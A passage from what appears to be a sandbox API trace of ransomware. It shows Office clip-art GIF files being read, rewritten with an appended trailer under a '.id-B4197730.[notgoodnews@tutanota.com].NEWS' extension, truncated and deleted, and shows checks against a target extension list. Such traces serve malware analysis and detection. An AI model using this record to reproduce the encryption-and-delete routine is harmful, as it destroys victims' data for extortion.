Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0073.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0073.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0073.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0073.986] lstrlenW (lpString=".doc") returned 4 [0073.986] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0073.986] lstrlenW (lpString=".docx") returned 5 [0073.986] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0073.986] lstrlenW (lpString=".pdf") returned 4 [0073.986] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0073.986] lstrlenW (lpString=".xls") returned 4 [0073.986] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0073.986] lstrlenW (lpString=".xlsx") returned 5 [0073.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0073.986] lstrlenW (lpString=".ppt") returned 4 [0073.987] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0073.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0073.987] lstrlenW (lpString=".zip") returned 4 [0073.987] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0073.987] lstrlenW (lpString=".rar") returned 4 [0073.987] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0073.987] lstrlenW (lpString=".bz2") returned 4 [0073.987] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0073.987] lstrlenW (lpString=".7z") returned 3 [0073.987] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0073.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0073.987] lstrlenW (lpString=".dbf") returned 4 [0073.987] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0073.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0073.987] lstrlenW (lpString=".1cd") returned 4 [0073.987] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0073.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0073.987] lstrlenW (lpString=".jpg") returned 4 [0073.987] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0073.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0073.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0073.987] lstrlenW (lpString=".doc") returned 4 [0073.987] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0073.987] lstrlenW (lpString=".docx") returned 5 [0073.987] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0073.987] lstrlenW (lpString=".pdf") returned 4 [0073.987] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0073.987] lstrlenW (lpString=".xls") returned 4 [0073.987] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0073.987] lstrlenW (lpString=".xlsx") returned 5 [0073.988] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0073.988] lstrlenW (lpString=".ppt") returned 4 [0073.988] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0073.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0073.988] lstrlenW (lpString=".zip") returned 4 [0073.988] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0073.988] lstrlenW (lpString=".rar") returned 4 [0073.988] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0073.988] lstrlenW (lpString=".bz2") returned 4 [0073.988] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0073.988] lstrlenW (lpString=".7z") returned 3 [0073.988] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0073.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0073.988] lstrlenW (lpString=".dbf") returned 4 [0073.988] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0073.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0073.988] lstrlenW (lpString=".1cd") returned 4 [0073.988] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0073.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0073.988] lstrlenW (lpString=".jpg") returned 4 [0073.988] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0073.988] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0073.988] lstrlenW (lpString="AG00126_.GIF") returned 12 [0073.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0073.989] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=3140) returned 1 [0073.989] CloseHandle (hObject=0x354) returned 1 [0073.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 0x220 [0073.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0073.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0073.989] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.989] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0073.990] GetLastError () returned 0x0 [0073.990] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xc44, lpOverlapped=0x0) returned 1 [0073.992] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xc50, lpOverlapped=0x0) returned 1 [0073.993] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.993] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.993] SetEndOfFile (hFile=0x344) returned 1 [0073.993] CloseHandle (hObject=0x344) returned 1 [0073.994] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.995] SetEndOfFile (hFile=0x354) returned 1 [0074.000] CloseHandle (hObject=0x354) returned 1 [0074.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0074.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0074.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0074.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0074.001] lstrlenW (lpString=".doc") returned 4 [0074.001] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.001] lstrlenW (lpString=".docx") returned 5 [0074.001] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.001] lstrlenW (lpString=".pdf") returned 4 [0074.001] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.001] lstrlenW (lpString=".xls") returned 4 [0074.001] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.001] lstrlenW (lpString=".xlsx") returned 5 [0074.001] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.001] lstrlenW (lpString=".ppt") returned 4 [0074.001] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0074.001] lstrlenW (lpString=".zip") returned 4 [0074.001] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.002] lstrlenW (lpString=".rar") returned 4 [0074.002] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.002] lstrlenW (lpString=".bz2") returned 4 [0074.002] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.002] lstrlenW (lpString=".7z") returned 3 [0074.002] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0074.002] lstrlenW (lpString=".dbf") returned 4 [0074.002] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0074.002] lstrlenW (lpString=".1cd") returned 4 [0074.002] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0074.002] lstrlenW (lpString=".jpg") returned 4 [0074.002] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0074.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0074.002] lstrlenW (lpString=".doc") returned 4 [0074.002] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.002] lstrlenW (lpString=".docx") returned 5 [0074.002] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.002] lstrlenW (lpString=".pdf") returned 4 [0074.002] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.002] lstrlenW (lpString=".xls") returned 4 [0074.002] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.002] lstrlenW (lpString=".xlsx") returned 5 [0074.003] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.003] lstrlenW (lpString=".ppt") returned 4 [0074.003] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0074.003] lstrlenW (lpString=".zip") returned 4 [0074.003] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.003] lstrlenW (lpString=".rar") returned 4 [0074.003] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.003] lstrlenW (lpString=".bz2") returned 4 [0074.003] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.003] lstrlenW (lpString=".7z") returned 3 [0074.003] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0074.003] lstrlenW (lpString=".dbf") returned 4 [0074.003] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0074.003] lstrlenW (lpString=".1cd") returned 4 [0074.003] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0074.003] lstrlenW (lpString=".jpg") returned 4 [0074.003] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.003] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0074.003] lstrlenW (lpString="AG00129_.GIF") returned 12 [0074.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0074.004] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=12482) returned 1 [0074.004] CloseHandle (hObject=0x354) returned 1 [0074.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 0x220 [0074.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0074.004] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.004] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0074.005] GetLastError () returned 0x0 [0074.005] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x30c2, lpOverlapped=0x0) returned 1 [0074.429] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x30d0, lpOverlapped=0x0) returned 1 [0074.430] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.430] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.430] SetEndOfFile (hFile=0x344) returned 1 [0074.430] CloseHandle (hObject=0x344) returned 1 [0074.432] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.432] SetEndOfFile (hFile=0x354) returned 1 [0074.433] CloseHandle (hObject=0x354) returned 1 [0074.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0074.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0074.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0074.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0074.433] lstrlenW (lpString=".doc") returned 4 [0074.433] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.433] lstrlenW (lpString=".docx") returned 5 [0074.433] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.433] lstrlenW (lpString=".pdf") returned 4 [0074.433] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.434] lstrlenW (lpString=".xls") returned 4 [0074.434] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.434] lstrlenW (lpString=".xlsx") returned 5 [0074.434] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.434] lstrlenW (lpString=".ppt") returned 4 [0074.434] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0074.434] lstrlenW (lpString=".zip") returned 4 [0074.434] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.434] lstrlenW (lpString=".rar") returned 4 [0074.434] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.434] lstrlenW (lpString=".bz2") returned 4 [0074.434] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.434] lstrlenW (lpString=".7z") returned 3 [0074.434] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0074.434] lstrlenW (lpString=".dbf") returned 4 [0074.434] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0074.434] lstrlenW (lpString=".1cd") returned 4 [0074.434] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0074.434] lstrlenW (lpString=".jpg") returned 4 [0074.434] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0074.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0074.434] lstrlenW (lpString=".doc") returned 4 [0074.434] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.434] lstrlenW (lpString=".docx") returned 5 [0074.434] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.434] lstrlenW (lpString=".pdf") returned 4 [0074.434] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.434] lstrlenW (lpString=".xls") returned 4 [0074.434] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.435] lstrlenW (lpString=".xlsx") returned 5 [0074.435] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.435] lstrlenW (lpString=".ppt") returned 4 [0074.435] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0074.435] lstrlenW (lpString=".zip") returned 4 [0074.435] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.435] lstrlenW (lpString=".rar") returned 4 [0074.435] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.435] lstrlenW (lpString=".bz2") returned 4 [0074.435] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.435] lstrlenW (lpString=".7z") returned 3 [0074.435] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0074.435] lstrlenW (lpString=".dbf") returned 4 [0074.435] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0074.435] lstrlenW (lpString=".1cd") returned 4 [0074.435] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0074.435] lstrlenW (lpString=".jpg") returned 4 [0074.435] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.435] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0074.435] lstrlenW (lpString="AG00161_.GIF") returned 12 [0074.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0074.436] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=7583) returned 1 [0074.436] CloseHandle (hObject=0x354) returned 1 [0074.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 0x220 [0074.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0074.436] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.436] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0074.437] GetLastError () returned 0x0 [0074.437] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x1d9f, lpOverlapped=0x0) returned 1 [0074.438] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x1da0, lpOverlapped=0x0) returned 1 [0074.439] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.439] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.439] SetEndOfFile (hFile=0x344) returned 1 [0074.440] CloseHandle (hObject=0x344) returned 1 [0074.441] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.441] SetEndOfFile (hFile=0x354) returned 1 [0074.442] CloseHandle (hObject=0x354) returned 1 [0074.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0074.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0074.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0074.443] lstrlenW 